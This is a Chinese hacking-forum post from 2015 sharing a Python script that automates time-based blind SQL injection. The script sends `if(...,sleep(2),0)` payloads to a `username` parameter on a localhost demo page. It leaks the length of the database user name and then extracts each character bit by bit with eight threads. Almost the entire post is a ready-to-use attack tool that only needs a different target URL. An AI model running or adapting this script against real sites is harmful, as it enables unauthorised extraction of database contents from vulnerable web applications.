搜索
查看: 404|回复: 0

python利用二进制延迟注入demo

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2015-9-4 12:31:36 | 显示全部楼层 |阅读模式
看了freebuf的延迟注入课程,感觉他那个突破延迟注入时间限制的思路非常不错

课程地址http://yuntv.letv.com/bcloud.htm ... 1024&height=576


  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # @Author: Lcy
  4. # @Date:   2015-08-29 22:26:17
  5. # @Last Modified by:   Sunshie
  6. # @Last Modified time: 2015-08-30 01:48:41
  7. # blog:https://phpinfo.me
  8. # 延迟注入工具
  9. import urllib2
  10. import time
  11. import socket
  12. import threading
  13. import requests

  14. class my_threading(threading.Thread):
  15.                 def __init__(self, str,x):
  16.                                 threading.Thread.__init__(self)
  17.                                 self.str = str
  18.                                 self.x = x
  19.                 def run(self):
  20.                         global res
  21.                         x=self.x
  22.                         j = self.str
  23.                         url = "http://localhost/demo/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
  24.                         html = request(url)
  25.                         verify = 'timeout'
  26.                         if verify not in html:
  27.                                 res[str(j)] = 0
  28.                                 #print 1
  29.                         else:
  30.                                 res[str(j)] = 1
  31.         

  32. def request(URL):
  33.         user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
  34.         req = urllib2.Request(URL, None, user_agent)  
  35.         try:
  36.                 request = urllib2.urlopen(req,timeout=2)
  37.         except Exception ,e:
  38.                 time.sleep(2)
  39.                 return 'timeout'
  40.         return request.read()         

  41. def curl(url):
  42.         try:
  43.                         start = time.clock()
  44.                         requests.get(url)
  45.                         end = time.clock()
  46.                         return int(end)
  47.         except requests.RequestException as e:
  48.                         print u"访问出错!"
  49.                         exit()
  50. def getLength():
  51.         i = 0
  52.         while True:
  53.                 print "[+] Checking: %s \r" %i
  54.                 url = "http://localhost/demo/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
  55.                 html = request(url)
  56.                 verify = 'timeout'
  57.                 if verify in html:
  58.                         print u"[+] 数据长度为: %s" %i
  59.                         return i
  60.                
  61.                 i = i + 1
  62. def bin2dec(string_num):
  63.         return int(string_num, 2)

  64. def getData(dataLength):
  65.         global res
  66.         data = ""
  67.         for x in range(dataLength):
  68.                 x = x + 1
  69.                 #print x
  70.                 threads = []
  71.                 for j in range(8):
  72.                         result = ""
  73.                         j = j + 1
  74.                         sb = my_threading(j,x)
  75.                         sb.setDaemon(True)
  76.                         threads.append(sb)
  77.                         #print j
  78.                 for t in threads:
  79.                                 t.start()
  80.                 for t in threads:
  81.                                 t.join()
  82.                 #print res
  83.                 tmp = ""
  84.                 for i in range(8):
  85.                         tmp = tmp + str(res[str(i+1)])
  86.                 #print chr(bin2dec(tmp))
  87.                 res = {}
  88.                 result = chr(bin2dec(tmp))
  89.                 print result
  90.                 data = data + result
  91.                 sb = None
  92.         print "[+] ok!"
  93.         print "[+] result:" + data


  94. if __name__ == '__main__':
  95.         stop = False
  96.         res = {}
  97.         length = getLength()
  98.         getData(length)
复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您可以更新记录, 让好友们知道您在做什么...
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表